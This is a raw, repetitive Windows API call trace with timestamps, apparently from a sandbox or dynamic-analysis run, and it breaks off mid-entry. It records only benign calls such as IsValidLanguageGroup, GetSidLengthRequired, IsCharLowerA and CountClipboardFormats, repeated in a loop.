[0039.487] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.487] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.487] IsCharLowerA (ch=53) returned 0 [0039.487] CountClipboardFormats () returned 4 [0039.487] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.487] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.487] IsCharLowerA (ch=54) returned 0 [0039.487] CountClipboardFormats () returned 4 [0039.487] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.487] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.487] IsCharLowerA (ch=55) returned 0 [0039.487] CountClipboardFormats () returned 4 [0039.487] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.487] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.487] IsCharLowerA (ch=56) returned 0 [0039.487] CountClipboardFormats () returned 4 [0039.487] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.487] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.487] IsCharLowerA (ch=57) returned 0 [0039.487] CountClipboardFormats () returned 4 [0039.487] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.487] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.487] IsCharLowerA (ch=58) returned 0 [0039.487] CountClipboardFormats () returned 4 [0039.487] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.487] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.487] IsCharLowerA (ch=59) returned 0 [0039.487] CountClipboardFormats () returned 4 [0039.487] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.487] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.487] IsCharLowerA (ch=60) returned 0 [0039.487] CountClipboardFormats () returned 4 [0039.487] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.487] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.488] IsCharLowerA (ch=61) returned 0 [0039.488] CountClipboardFormats () returned 4 [0039.488] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.488] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.488] IsCharLowerA (ch=62) returned 0 [0039.488] CountClipboardFormats () returned 4 [0039.488] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.488] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.488] IsCharLowerA (ch=63) returned 0 [0039.488] CountClipboardFormats () returned 4 [0039.488] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.488] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.488] IsCharLowerA (ch=32) returned 0 [0039.488] CountClipboardFormats () returned 4 [0039.488] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.488] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.488] IsCharLowerA (ch=33) returned 0 [0039.488] CountClipboardFormats () returned 4 [0039.501] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.501] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.501] IsCharLowerA (ch=34) returned 0 [0039.501] CountClipboardFormats () returned 4 [0039.501] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.501] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.501] IsCharLowerA (ch=35) returned 0 [0039.501] CountClipboardFormats () returned 4 [0039.501] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.501] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.501] IsCharLowerA (ch=36) returned 0 [0039.501] CountClipboardFormats () returned 4 [0039.501] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.501] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.501] IsCharLowerA (ch=37) returned 0 [0039.501] CountClipboardFormats () returned 4 [0039.501] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.501] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.501] IsCharLowerA (ch=38) returned 0 [0039.501] CountClipboardFormats () returned 4 [0039.501] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.501] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.501] IsCharLowerA (ch=39) returned 0 [0039.501] CountClipboardFormats () returned 4 [0039.501] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.501] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.501] IsCharLowerA (ch=40) returned 0 [0039.501] CountClipboardFormats () returned 4 [0039.501] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.502] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.502] IsCharLowerA (ch=41) returned 0 [0039.502] CountClipboardFormats () returned 4 [0039.502] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.502] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.502] IsCharLowerA (ch=42) returned 0 [0039.502] CountClipboardFormats () returned 4 [0039.502] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.502] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.502] IsCharLowerA (ch=43) returned 0 [0039.502] CountClipboardFormats () returned 4 [0039.502] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.502] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.502] IsCharLowerA (ch=44) returned 0 [0039.502] CountClipboardFormats () returned 4 [0039.502] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.502] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.502] IsCharLowerA (ch=45) returned 0 [0039.502] CountClipboardFormats () returned 4 [0039.502] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.502] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.502] IsCharLowerA (ch=46) returned 0 [0039.502] CountClipboardFormats () returned 4 [0039.502] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.502] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.502] IsCharLowerA (ch=47) returned 0 [0039.502] CountClipboardFormats () returned 4 [0039.502] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.502] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.502] IsCharLowerA (ch=48) returned 0 [0039.502] CountClipboardFormats () returned 4 [0039.502] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.502] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.502] IsCharLowerA (ch=49) returned 0 [0039.503] CountClipboardFormats () returned 4 [0039.503] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.503] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.503] IsCharLowerA (ch=50) returned 0 [0039.503] CountClipboardFormats () returned 4 [0039.503] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.503] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.503] IsCharLowerA (ch=51) returned 0 [0039.503] CountClipboardFormats () returned 4 [0039.503] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.503] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.503] IsCharLowerA (ch=52) returned 0 [0039.503] CountClipboardFormats () returned 4 [0039.503] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.503] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.503] IsCharLowerA (ch=53) returned 0 [0039.503] CountClipboardFormats () returned 4 [0039.503] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.503] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.503] IsCharLowerA (ch=54) returned 0 [0039.503] CountClipboardFormats () returned 4 [0039.503] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.503] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.503] IsCharLowerA (ch=55) returned 0 [0039.503] CountClipboardFormats () returned 4 [0039.503] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.503] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.503] IsCharLowerA (ch=56) returned 0 [0039.503] CountClipboardFormats () returned 4 [0039.503] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.503] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.503] IsCharLowerA (ch=57) returned 0 [0039.503] CountClipboardFormats () returned 4 [0039.503] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.504] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.504] IsCharLowerA (ch=58) returned 0 [0039.504] CountClipboardFormats () returned 4 [0039.504] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.504] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.504] IsCharLowerA (ch=59) returned 0 [0039.504] CountClipboardFormats () returned 4 [0039.504] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.504] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.504] IsCharLowerA (ch=60) returned 0 [0039.504] CountClipboardFormats () returned 4 [0039.504] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.504] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.504] IsCharLowerA (ch=61) returned 0 [0039.504] CountClipboardFormats () returned 4 [0039.504] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.504] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.504] IsCharLowerA (ch=62) returned 0 [0039.504] CountClipboardFormats () returned 4 [0039.504] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.504] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.504] IsCharLowerA (ch=63) returned 0 [0039.504] CountClipboardFormats () returned 4 [0039.504] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.504] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.504] IsCharLowerA (ch=32) returned 0 [0039.504] CountClipboardFormats () returned 4 [0039.504] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.505] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.505] IsCharLowerA (ch=33) returned 0 [0039.505] CountClipboardFormats () returned 4 [0039.505] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.505] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.505] IsCharLowerA (ch=34) returned 0 [0039.505] CountClipboardFormats () returned 4 [0039.505] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.505] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.505] IsCharLowerA (ch=35) returned 0 [0039.505] CountClipboardFormats () returned 4 [0039.505] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.505] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.505] IsCharLowerA (ch=36) returned 0 [0039.505] CountClipboardFormats () returned 4 [0039.505] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.505] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.505] IsCharLowerA (ch=37) returned 0 [0039.505] CountClipboardFormats () returned 4 [0039.505] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.505] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.505] IsCharLowerA (ch=38) returned 0 [0039.505] CountClipboardFormats () returned 4 [0039.505] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.505] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.505] IsCharLowerA (ch=39) returned 0 [0039.505] CountClipboardFormats () returned 4 [0039.505] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.505] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.505] IsCharLowerA (ch=40) returned 0 [0039.505] CountClipboardFormats () returned 4 [0039.505] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.505] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.505] IsCharLowerA (ch=41) returned 0 [0039.506] CountClipboardFormats () returned 4 [0039.506] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.506] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.506] IsCharLowerA (ch=42) returned 0 [0039.506] CountClipboardFormats () returned 4 [0039.506] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.506] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.506] IsCharLowerA (ch=43) returned 0 [0039.506] CountClipboardFormats () returned 4 [0039.506] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.506] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.506] IsCharLowerA (ch=44) returned 0 [0039.506] CountClipboardFormats () returned 4 [0039.506] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.506] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.506] IsCharLowerA (ch=45) returned 0 [0039.506] CountClipboardFormats () returned 4 [0039.506] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.506] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.506] IsCharLowerA (ch=46) returned 0 [0039.506] CountClipboardFormats () returned 4 [0039.506] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.506] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.506] IsCharLowerA (ch=47) returned 0 [0039.506] CountClipboardFormats () returned 4 [0039.506] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.506] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.506] IsCharLowerA (ch=48) returned 0 [0039.506] CountClipboardFormats () returned 4 [0039.506] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.506] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.506] IsCharLowerA (ch=49) returned 0 [0039.506] CountClipboardFormats () returned 4 [0039.506] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.507] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.507] IsCharLowerA (ch=50) returned 0 [0039.507] CountClipboardFormats () returned 4 [0039.507] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.507] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.507] IsCharLowerA (ch=51) returned 0 [0039.507] CountClipboardFormats () returned 4 [0039.507] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.507] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.507] IsCharLowerA (ch=52) returned 0 [0039.507] CountClipboardFormats () returned 4 [0039.507] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.507] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.507] IsCharLowerA (ch=53) returned 0 [0039.507] CountClipboardFormats () returned 4 [0039.507] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.507] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.507] IsCharLowerA (ch=54) returned 0 [0039.507] CountClipboardFormats () returned 4 [0039.507] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.507] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.507] IsCharLowerA (ch=55) returned 0 [0039.507] CountClipboardFormats () returned 4 [0039.507] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.507] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.507] IsCharLowerA (ch=56) returned 0 [0039.507] CountClipboardFormats () returned 4 [0039.507] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.507] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.507] IsCharLowerA (ch=57) returned 0 [0039.507] CountClipboardFormats () returned 4 [0039.507] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.507] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.507] IsCharLowerA (ch=58) returned 0 [0039.508] CountClipboardFormats () returned 4 [0039.508] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.508] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.508] IsCharLowerA (ch=59) returned 0 [0039.508] CountClipboardFormats () returned 4 [0039.508] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.508] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.508] IsCharLowerA (ch=60) returned 0 [0039.508] CountClipboardFormats () returned 4 [0039.508] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.508] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.508] IsCharLowerA (ch=61) returned 0 [0039.508] CountClipboardFormats () returned 4 [0039.508] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.508] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.508] IsCharLowerA (ch=62) returned 0 [0039.508] CountClipboardFormats () returned 4 [0039.508] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.508] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.508] IsCharLowerA (ch=63) returned 0 [0039.508] CountClipboardFormats () returned 4 [0039.508] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.508] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.508] IsCharLowerA (ch=32) returned 0 [0039.508] CountClipboardFormats () returned 4 [0039.508] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.508] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.508] IsCharLowerA (ch=33) returned 0 [0039.508] CountClipboardFormats () returned 4 [0039.508] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.508] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.508] IsCharLowerA (ch=34) returned 0 [0039.508] CountClipboardFormats () returned 4 [0039.508] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.509] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.509] IsCharLowerA (ch=35) returned 0 [0039.509] CountClipboardFormats () returned 4 [0039.509] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.509] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.509] IsCharLowerA (ch=36) returned 0 [0039.509] CountClipboardFormats () returned 4 [0039.509] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.509] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.509] IsCharLowerA (ch=37) returned 0 [0039.509] CountClipboardFormats () returned 4 [0039.509] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.509] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.509] IsCharLowerA (ch=38) returned 0 [0039.509] CountClipboardFormats () returned 4 [0039.509] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.509] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.509] IsCharLowerA (ch=39) returned 0 [0039.509] CountClipboardFormats () returned 4 [0039.509] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.509] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.509] IsCharLowerA (ch=40) returned 0 [0039.509] CountClipboardFormats () returned 4 [0039.509] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.509] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.509] IsCharLowerA (ch=41) returned 0 [0039.509] CountClipboardFormats () returned 4 [0039.509] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.509] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.509] IsCharLowerA (ch=42) returned 0 [0039.509] CountClipboardFormats () returned 4 [0039.509] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.509] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.509] IsCharLowerA (ch=43) returned 0 [0039.509] CountClipboardFormats () returned 4 [0039.510] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.510] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.510] IsCharLowerA (ch=44) returned 0 [0039.510] CountClipboardFormats () returned 4 [0039.510] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.510] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.510] IsCharLowerA (ch=45) returned 0 [0039.510] CountClipboardFormats () returned 4 [0039.510] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.510] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.510] IsCharLowerA (ch=46) returned 0 [0039.510] CountClipboardFormats () returned 4 [0039.510] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.510] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.510] IsCharLowerA (ch=47) returned 0 [0039.510] CountClipboardFormats () returned 4 [0039.510] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.510] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.510] IsCharLowerA (ch=48) returned 0 [0039.510] CountClipboardFormats () returned 4 [0039.510] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.510] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.510] IsCharLowerA (ch=49) returned 0 [0039.510] CountClipboardFormats () returned 4 [0039.510] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.510] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.510] IsCharLowerA (ch=50) returned 0 [0039.510] CountClipboardFormats () returned 4 [0039.510] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.510] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.510] IsCharLowerA (ch=51) returned 0 [0039.510] CountClipboardFormats () returned 4 [0039.510] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.510] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.511] IsCharLowerA (ch=52) returned 0 [0039.511] CountClipboardFormats () returned 4 [0039.511] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.511] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.511] IsCharLowerA (ch=53) returned 0 [0039.511] CountClipboardFormats () returned 4 [0039.511] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.511] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.511] IsCharLowerA (ch=54) returned 0 [0039.511] CountClipboardFormats () returned 4 [0039.511] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.511] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.511] IsCharLowerA (ch=55) returned 0 [0039.511] CountClipboardFormats () returned 4 [0039.511] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.511] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.511] IsCharLowerA (ch=56) returned 0 [0039.511] CountClipboardFormats () returned 4 [0039.511] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.511] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.511] IsCharLowerA (ch=57) returned 0 [0039.511] CountClipboardFormats () returned 4 [0039.511] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.511] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.511] IsCharLowerA (ch=58) returned 0 [0039.511] CountClipboardFormats () returned 4 [0039.511] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.511] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.511] IsCharLowerA (ch=59) returned 0 [0039.511] CountClipboardFormats () returned 4 [0039.511] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.511] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.511] IsCharLowerA (ch=60) returned 0 [0039.511] CountClipboardFormats () returned 4 [0039.511] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.512] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.512] IsCharLowerA (ch=61) returned 0 [0039.512] CountClipboardFormats () returned 4 [0039.512] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.512] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.512] IsCharLowerA (ch=62) returned 0 [0039.512] CountClipboardFormats () returned 4 [0039.512] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.512] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.512] IsCharLowerA (ch=63) returned 0 [0039.512] CountClipboardFormats () returned 4 [0039.512] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.512] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.512] IsCharLowerA (ch=32) returned 0 [0039.512] CountClipboardFormats () returned 4 [0039.512] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.512] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.512] IsCharLowerA (ch=1) returned 0 [0039.512] CountClipboardFormats () returned 4 [0039.512] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.512] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.512] IsCharLowerA (ch=2) returned 0 [0039.512] CountClipboardFormats () returned 4 [0039.512] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.512] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.512] IsCharLowerA (ch=3) returned 0 [0039.512] CountClipboardFormats () returned 4 [0039.512] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.512] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.512] IsCharLowerA (ch=4) returned 0 [0039.512] CountClipboardFormats () returned 4 [0039.512] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.512] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.512] IsCharLowerA (ch=5) returned 0 [0039.512] CountClipboardFormats () returned 4 [0039.512] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.513] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.513] IsCharLowerA (ch=6) returned 0 [0039.513] CountClipboardFormats () returned 4 [0039.513] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.513] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.513] IsCharLowerA (ch=7) returned 0 [0039.513] CountClipboardFormats () returned 4 [0039.513] IsValidLanguageGroup (LanguageGroup=0xa, dwFlags=0x1) returned 1 [0039.513] GetSidLengthRequired (nSubAuthorityCount=0x1) returned 0xc [0039.513] IsCharLowerA (ch=8) returned 0 [0039.513] CountClipboardFormats () returned 4 [0039.513] IsValidLanguageGroup (LanguageGroup=0xa, 